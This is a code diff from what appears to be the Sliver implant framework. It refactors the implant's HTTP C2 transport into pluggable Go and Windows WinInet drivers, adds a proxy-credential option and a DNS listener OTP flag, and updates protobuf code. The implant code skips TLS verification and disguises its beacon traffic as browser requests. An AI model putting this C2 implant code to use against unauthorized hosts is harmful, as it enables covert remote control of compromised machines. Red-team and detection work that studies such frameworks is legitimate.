+	if uint32(success) != ERROR_INTERNET_FORCE_RETRY {
+		return success, fmt.Errorf("%s: %s", proc, success)
+	}
+
+	*lppvData = buf
+
+	return success, nil
+}

implant/sliver/transports/httpclient/drivers_generic.go

@@ -0,0 +1,42 @@
+//go:build !windows
+
+package httpclient
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+)
+
+// GetHTTPDriver - Get an instance of the specified HTTP driver
+func GetHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
+	switch opts.Driver {
+
+	case goHTTPDriver:
+		return GoHTTPDriver(origin, secure, opts)
+
+	default:
+		// {{if .Config.Debug}}
+		log.Printf("WARNING: unknown HTTP driver: %s", opts.Driver)
+		// {{end}}
+		return GoHTTPDriver(origin, secure, opts)
+	}
+}

implant/sliver/transports/httpclient/drivers_windows.go

@@ -0,0 +1,63 @@
+package httpclient
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
+	"github.com/bishopfox/sliver/implant/sliver/transports/httpclient/drivers/win/wininet"
+)
+
+// GetHTTPDriver - Get an instance of the specified HTTP driver
+func GetHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
+	switch opts.Driver {
+
+	case goHTTPDriver:
+		// {{if .Config.Debug}}
+		log.Printf("Using go http driver")
+		// {{end}}
+		return GoHTTPDriver(origin, secure, opts)
+
+	case wininetDriver:
+		// {{if .Config.Debug}}
+		log.Printf("Using wininet driver")
+		// {{end}}
+		return WininetDriver(origin, secure, opts)
+
+	default:
+		// {{if .Config.Debug}}
+		log.Printf("WARNING: unknown HTTP driver: %s", opts.Driver)
+		// {{end}}
+		return GoHTTPDriver(origin, secure, opts)
+	}
+}
+
+// WininetDriver - Initialize a Wininet driver (Windows only)
+func WininetDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
+	wininetClient, err := wininet.NewClient(userAgent)
+	if err != nil {
+		return nil, err
+	}
+	wininetClient.TLSClientConfig.InsecureSkipVerify = true
+	wininetClient.AskProxyCreds = opts.AskProxyCreds
+	return wininetClient, nil
+}

implant/sliver/transports/httpclient/gohttp.go

@@ -0,0 +1,137 @@
+package httpclient
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"crypto/tls"
+	"net"
+	"net/http"
+	"net/url"
+	"sync"
+	"time"
+
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
+	"github.com/bishopfox/sliver/implant/sliver/proxy"
+)
+
+// GoHTTPDriver - Pure Go HTTP driver
+func GoHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
+	var transport *http.Transport
+	if !secure {
+		transport = &http.Transport{
+			IdleConnTimeout:     time.Millisecond,
+			Dial:                proxy.Direct.Dial,
+			TLSHandshakeTimeout: opts.TlsTimeout,
+			TLSClientConfig:     &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
+		}
+	} else {
+		transport = &http.Transport{
+			IdleConnTimeout: time.Millisecond,
+			Dial: (&net.Dialer{
+				Timeout: opts.NetTimeout,
+			}).Dial,
+			TLSHandshakeTimeout: opts.TlsTimeout,
+			TLSClientConfig:     &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
+		}
+	}
+	client := &http.Client{
+		Jar:       cookieJar(),
+		Timeout:   opts.NetTimeout,
+		Transport: transport,
+	}
+	parseProxyConfig(origin, transport, opts.ProxyConfig)
+	return client, nil
+}
+
+func parseProxyConfig(origin string, transport *http.Transport, proxyConfig string) {
+	switch proxyConfig {
+	case "never":
+		break
+	case "":
+		fallthrough
+	case "auto":
+		p := proxy.NewProvider("").GetHTTPSProxy(origin)
+		if p != nil {
+			// {{if .Config.Debug}}
+			log.Printf("Found proxy %#v\n", p)
+			// {{end}}
+			proxyURL := p.URL()
+			if proxyURL.Scheme == "" {
+				proxyURL.Scheme = "https"
+			}
+			// {{if .Config.Debug}}
+			log.Printf("Proxy URL = '%s'\n", proxyURL)
+			// {{end}}
+			transport.Proxy = http.ProxyURL(proxyURL)
+		}
+	default:
+		// {{if .Config.Debug}}
+		log.Printf("Force proxy %#v\n", proxyConfig)
+		// {{end}}
+		proxyURL, err := url.Parse(proxyConfig)
+		if err != nil {
+			break
+		}
+		if proxyURL.Scheme == "" {
+			proxyURL.Scheme = "https"
+		}
+		// {{if .Config.Debug}}
+		log.Printf("Proxy URL = '%s'\n", proxyURL)
+		// {{end}}
+		transport.Proxy = http.ProxyURL(proxyURL)
+	}
+}
+
+// Jar - CookieJar implementation that ignores domains/origins
+type Jar struct {
+	lk      sync.Mutex
+	cookies []*http.Cookie
+}
+
+func cookieJar() *Jar {
+	return &Jar{
+		lk:      sync.Mutex{},
+		cookies: []*http.Cookie{},
+	}
+}
+
+// NewJar - Get a new instance of a cookie jar
+func NewJar() *Jar {
+	jar := new(Jar)
+	jar.cookies = make([]*http.Cookie, 0)
+	return jar
+}
+
+// SetCookies handles the receipt of the cookies in a reply for the
+// given URL (which is ignored).
+func (jar *Jar) SetCookies(u *url.URL, cookies []*http.Cookie) {
+	jar.lk.Lock()
+	jar.cookies = append(jar.cookies, cookies...)
+	jar.lk.Unlock()
+}
+
+// Cookies returns the cookies to send in a request for the given URL.
+// It is up to the implementation to honor the standard cookie use
+// restrictions such as in RFC 6265 (which we do not).
+func (jar *Jar) Cookies(u *url.URL) []*http.Cookie {
+	return jar.cookies
+}

implant/sliver/transports/httpclient/httpclient.go

@@ -23,13 +23,11 @@ package httpclient
 import (
 	"bytes"
 	"context"
-	"crypto/tls"
 	"errors"
 	"fmt"
 	"io"
 	"io/ioutil"
 	insecureRand "math/rand"
-	"net"
 	"net/http"
 	"net/url"
 	"strconv"
@@ -44,12 +42,14 @@ import (
 
 	"github.com/bishopfox/sliver/implant/sliver/cryptography"
 	"github.com/bishopfox/sliver/implant/sliver/encoders"
-	"github.com/bishopfox/sliver/implant/sliver/proxy"
 	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
 	"google.golang.org/protobuf/proto"
 )
 
 const (
+	goHTTPDriver  = "go"
+	wininetDriver = "wininet"
+
 	userAgent         = "{{GenerateUserAgent}}"
 	nonceQueryArgs    = "abcdefghijklmnopqrstuvwxyz_"
 	acceptHeaderValue = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
@@ -62,6 +62,7 @@ var (
 
 // HTTPOptions - c2 specific configuration options
 type HTTPOptions struct {
+	Driver               string
 	NetTimeout           time.Duration
 	TlsTimeout           time.Duration
 	PollTimeout          time.Duration
@@ -73,6 +74,7 @@ type HTTPOptions struct {
 	ProxyConfig   string
 	ProxyUsername string
 	ProxyPassword string
+	AskProxyCreds bool
 }
 
 // ParseHTTPOptions - Parse c2 specific configuration options
@@ -93,7 +95,13 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
 	if err != nil || maxErrors < 0 {
 		maxErrors = 10
 	}
+	driverName := strings.TrimSpace(strings.ToLower(c2URI.Query().Get("driver")))
+	if driverName == "" {
+		driverName = goHTTPDriver
+	}
+
 	return &HTTPOptions{
+		Driver:               driverName,
 		NetTimeout:           netTimeout,
 		TlsTimeout:           tlsTimeout,
 		PollTimeout:          pollTimeout,
@@ -105,6 +113,7 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
 		ProxyConfig:   c2URI.Query().Get("proxy"),
 		ProxyUsername: c2URI.Query().Get("proxy-username"),
 		ProxyPassword: c2URI.Query().Get("proxy-password"),
+		AskProxyCreds: c2URI.Query().Get("ask-proxy-creds") == "true",
 	}
 }
 
@@ -113,7 +122,7 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
 	var client *SliverHTTPClient
 	var err error
 	if !opts.ForceHTTP {
-		client = httpsClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig)
+		client = httpsClient(address, opts)
 		client.Options = opts
 		client.PathPrefix = pathPrefix
 		err = client.SessionInit()
@@ -126,7 +135,8 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
 		if strings.HasSuffix(address, ":443") {
 			address = fmt.Sprintf("%s:80", address[:len(address)-4])
 		}
-		client = httpClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig) // Fallback to insecure HTTP
+
+		client = httpClient(address, opts) // Fallback to insecure HTTP
 		client.Options = opts
 		client.PathPrefix = pathPrefix
 		err = client.SessionInit()
@@ -137,17 +147,23 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
 	return client, nil
 }
 
+// HTTPDriver - The interface to send/recv HTTP data
+type HTTPDriver interface {
+	Do(*http.Request) (*http.Response, error)
+}
+
 // SliverHTTPClient - Helper struct to keep everything together
 type SliverHTTPClient struct {
-	Origin     string
-	PathPrefix string
-	Client     *http.Client
-	ProxyURL   string
-	SessionCtx *cryptography.CipherContext
-	SessionID  string
-	pollCancel context.CancelFunc
-	pollMutex  *sync.Mutex
-	Closed     bool
+	Origin      string
+	PathPrefix  string
+	driver      HTTPDriver
+	ProxyURL    string
+	SessionCtx  *cryptography.CipherContext
+	SessionID   string
+	pollTimeout time.Duration
+	pollCancel  context.CancelFunc
+	pollMutex   *sync.Mutex
+	Closed      bool
 
 	Options *HTTPOptions
 }
@@ -279,7 +295,7 @@ func (s *SliverHTTPClient) DoPoll(req *http.Request) (*http.Response, []byte, er
 	var data []byte
 	var err error
 	go func() {
-		resp, err = s.Client.Do(req.WithContext(ctx))
+		resp, err = s.driver.Do(req.WithContext(ctx))
 		select {
 		case <-ctx.Done():
 			done <- ctx.Err()
@@ -320,7 +336,7 @@ func (s *SliverHTTPClient) establishSessionID(sessionInit []byte) error {
 	log.Printf("[http] POST -> %s (%d bytes)", uri, len(sessionInit))
 	// {{end}}
 
-	resp, err := s.Client.Do(req)
+	resp, err := s.driver.Do(req)
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("[http] http response error: %s", err)
@@ -455,7 +471,7 @@ func (s *SliverHTTPClient) WriteEnvelope(envelope *pb.Envelope) error {
 	// {{end}}
 
 	req := s.newHTTPRequest(http.MethodPost, uri, reader)
-	resp, err := s.Client.Do(req)
+	resp, err := s.driver.Do(req)
 	// {{if .Config.Debug}}
 	log.Printf("[http] POST request completed")
 	// {{end}}
@@ -499,7 +515,7 @@ func (s *SliverHTTPClient) CloseSession() error {
 	// {{if .Config.Debug}}
 	log.Printf("[http] GET -> %s", uri)
 	// {{end}}
-	resp, err := s.Client.Do(req)
+	resp, err := s.driver.Do(req)
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("[http] GET failed %v", err)
@@ -609,123 +625,42 @@ func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, ext
 
 // [ HTTP(S) Clients ] ------------------------------------------------------------
 
-func httpClient(address string, netTimeout time.Duration, tlsTimeout time.Duration, proxyConfig string) *SliverHTTPClient {
-	transport := &http.Transport{
-		Dial:                proxy.Direct.Dial,
-		TLSHandshakeTimeout: tlsTimeout,
-		TLSClientConfig:     &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
+func httpClient(address string, opts *HTTPOptions) *SliverHTTPClient {
+	origin := fmt.Sprintf("http://%s", address)
+	driver, err := GetHTTPDriver(origin, false, opts)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[http] failed to initialize driver: %v", err)
+		// {{end}}
+		return nil
 	}
 	client := &SliverHTTPClient{
-		Origin: fmt.Sprintf("http://%s", address),
-		Client: &http.Client{
-			Jar:       cookieJar(),
-			Timeout:   netTimeout,
-			Transport: transport,
-		},
+		Origin:    origin,
+		driver:    driver,
 		pollMutex: &sync.Mutex{},
 		Closed:    false,
+		Options:   opts,
 	}
-	parseProxyConfig(client, transport, proxyConfig)
 	return client
 }
 
-func httpsClient(address string, netTimeout time.Duration, tlsTimeout time.Duration, proxyConfig string) *SliverHTTPClient {
-	transport := &http.Transport{
-		IdleConnTimeout: time.Millisecond,
-		Dial: (&net.Dialer{
-			Timeout: netTimeout,
-		}).Dial,
-		TLSHandshakeTimeout: tlsTimeout,
-		TLSClientConfig:     &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
+func httpsClient(address string, opts *HTTPOptions) *SliverHTTPClient {
+	origin := fmt.Sprintf("https://%s", address)
+	driver, err := GetHTTPDriver(origin, true, opts)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[http] failed to initialize driver: %v", err)
+		// {{end}}
+		return nil
 	}
 	client := &SliverHTTPClient{
-		Origin: fmt.Sprintf("https://%s", address),
-		Client: &http.Client{
-			Jar:       cookieJar(),
-			Timeout:   netTimeout,
-			Transport: transport,
-		},
+		Origin:    origin,
+		driver:    driver,
 		pollMutex: &sync.Mutex{},
 		Closed:    false,
+		Options:   opts,
 	}
-	parseProxyConfig(client, transport, proxyConfig)
 	return client
 }
 
-func parseProxyConfig(client *SliverHTTPClient, transport *http.Transport, proxyConfig string) {
-	switch proxyConfig {
-	case "never":
-		break
-	case "":
-		fallthrough
-	case "auto":
-		p := proxy.NewProvider("").GetHTTPSProxy(client.Origin)
-		if p != nil {
-			// {{if .Config.Debug}}
-			log.Printf("Found proxy %#v\n", p)
-			// {{end}}
-			proxyURL := p.URL()
-			if proxyURL.Scheme == "" {
-				proxyURL.Scheme = "https"
-			}
-			// {{if .Config.Debug}}
-			log.Printf("Proxy URL = '%s'\n", proxyURL)
-			// {{end}}
-			transport.Proxy = http.ProxyURL(proxyURL)
-			client.ProxyURL = proxyURL.String()
-		}
-	default:
-		// {{if .Config.Debug}}
-		log.Printf("Force proxy %#v\n", proxyConfig)
-		// {{end}}
-		proxyURL, err := url.Parse(proxyConfig)
-		if err != nil {
-			break
-		}
-		if proxyURL.Scheme == "" {
-			proxyURL.Scheme = "https"
-		}
-		// {{if .Config.Debug}}
-		log.Printf("Proxy URL = '%s'\n", proxyURL)
-		// {{end}}
-		transport.Proxy = http.ProxyURL(proxyURL)
-		client.ProxyURL = proxyURL.String()
-	}
-}
-
-// Jar - CookieJar implementation that ignores domains/origins
-type Jar struct {
-	lk      sync.Mutex
-	cookies []*http.Cookie
-}
-
-func cookieJar() *Jar {
-	return &Jar{
-		lk:      sync.Mutex{},
-		cookies: []*http.Cookie{},
-	}
-}
-
-// NewJar - Get a new instance of a cookie jar
-func NewJar() *Jar {
-	jar := new(Jar)
-	jar.cookies = make([]*http.Cookie, 0)
-	return jar
-}
-
-// SetCookies handles the receipt of the cookies in a reply for the
-// given URL (which is ignored).
-func (jar *Jar) SetCookies(u *url.URL, cookies []*http.Cookie) {
-	jar.lk.Lock()
-	jar.cookies = append(jar.cookies, cookies...)
-	jar.lk.Unlock()
-}
-
-// Cookies returns the cookies to send in a request for the given URL.
-// It is up to the implementation to honor the standard cookie use
-// restrictions such as in RFC 6265 (which we do not).
-func (jar *Jar) Cookies(u *url.URL) []*http.Cookie {
-	return jar.cookies
-}
-
 // {{end}} -HTTPc2Enabled

protobuf/clientpb/client.pb.go

@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-go. DO NOT EDIT.
 // versions:
-// 	protoc-gen-go v1.26.0
-// 	protoc        v3.20.0
+// 	protoc-gen-go v1.28.0
+// 	protoc        v3.20.1
 // source: clientpb/client.proto
 
 package clientpb
@@ -2606,6 +2606,7 @@ type DNSListenerReq struct {
 	Host       string   `protobuf:"bytes,3,opt,name=Host,proto3" json:"Host,omitempty"`
 	Port       uint32   `protobuf:"varint,4,opt,name=Port,proto3" json:"Port,omitempty"`
 	Persistent bool     `protobuf:"varint,5,opt,name=Persistent,proto3" json:"Persistent,omitempty"`
+	EnforceOTP bool     `protobuf:"varint,6,opt,name=EnforceOTP,proto3" json:"EnforceOTP,omitempty"`
 }
 
 func (x *DNSListenerReq) Reset() {
@@ -2675,6 +2676,13 @@ func (x *DNSListenerReq) GetPersistent() bool {
 	return false
 }
 
+func (x *DNSListenerReq) GetEnforceOTP() bool {
+	if x != nil {
+		return x.EnforceOTP
+	}
+	return false
+}
+
 type DNSListener struct {
 	state         protoimpl.MessageState
 	sizeCache     protoimpl.SizeCache
@@ -5850,7 +5858,7 @@ var file_clientpb_client_proto_rawDesc = []byte{
 	0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x22, 0x0a,
 	0x0a, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a,
 	0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49,
-	0x44, 0x22, 0x8e, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65,
+	0x44, 0x22, 0xae, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65,
 	0x72, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18,
 	0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x1a,
 	0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08,
@@ -5859,7 +5867,9 @@ var file_clientpb_client_proto_rawDesc = []byte{
 	0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f,
 	0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74,
 	0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65,
-	0x6e, 0x74, 0x22, 0x23, 0x0a, 0x0b, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65,
+	0x6e, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50,
+	0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f,
+	0x54, 0x50, 0x22, 0x23, 0x0a, 0x0b, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65,
 	0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d,
 	0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0xcf, 0x02, 0x0a, 0x0f, 0x48, 0x54, 0x54, 0x50,
 	0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x16, 0x0a, 0x06, 0x44,

protobuf/clientpb/client.proto

@@ -282,6 +282,7 @@ message DNSListenerReq {
   string Host = 3;
   uint32 Port = 4;
   bool Persistent = 5;
+  bool EnforceOTP = 6; 
 }
 
 message DNSListener {

protobuf/commonpb/common.pb.go

@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-go. DO NOT EDIT.
 // versions:
 // 	protoc-gen-go v1.26.0
-// 	protoc        v3.20.0
+// 	protoc        v3.19.4
 // source: commonpb/common.proto
 
 package commonpb

protobuf/dnspb/dns.pb.go

@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-go. DO NOT EDIT.
 // versions:
-// 	protoc-gen-go v1.26.0
-// 	protoc        v3.20.0
+// 	protoc-gen-go v1.28.0
+// 	protoc        v3.20.1
 // source: dnspb/dns.proto
 
 package dnspb

protobuf/rpcpb/services.pb.go

@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-go. DO NOT EDIT.
 // versions:
-// 	protoc-gen-go v1.26.0
-// 	protoc        v3.20.0
+// 	protoc-gen-go v1.28.0
+// 	protoc        v3.20.1
 // source: rpcpb/services.proto
 
 package rpcpb
@@ -31,7 +31,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{
 	0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73,
 	0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69,
 	0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f,
-	0x74, 0x6f, 0x32, 0xbc, 0x36, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
+	0x74, 0x6f, 0x32, 0x8e, 0x37, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
 	0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f,
 	0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
 	0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69,
@@ -302,175 +302,180 @@ var file_rpcpb_services_proto_rawDesc = []byte{
 	0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
 	0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x1a,
 	0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65,
-	0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x4e, 0x0a, 0x12, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74,
-	0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1f, 0x2e, 0x73, 0x6c,
-	0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, 0x72,
-	0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73,
-	0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73,
-	0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x44, 0x0a, 0x11, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74,
-	0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69,
-	0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c,
-	0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d,
-	0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x4e, 0x0a, 0x15, 0x50,
-	0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x65,
-	0x6e, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
-	0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65,
-	0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76,
-	0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x33, 0x0a, 0x0a, 0x50,
-	0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d,
-	0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69,
-	0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68,
-	0x12, 0x40, 0x0a, 0x0c, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65,
-	0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x72,
-	0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c,
-	0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e,
-	0x66, 0x6f, 0x12, 0x3e, 0x0a, 0x0b, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63,
-	0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x6f,
-	0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c,
-	0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e,
-	0x66, 0x6f, 0x12, 0x42, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76,
-	0x69, 0x63, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52,
-	0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a,
-	0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69,
-	0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x38, 0x0a, 0x09, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f,
-	0x6b, 0x65, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d,
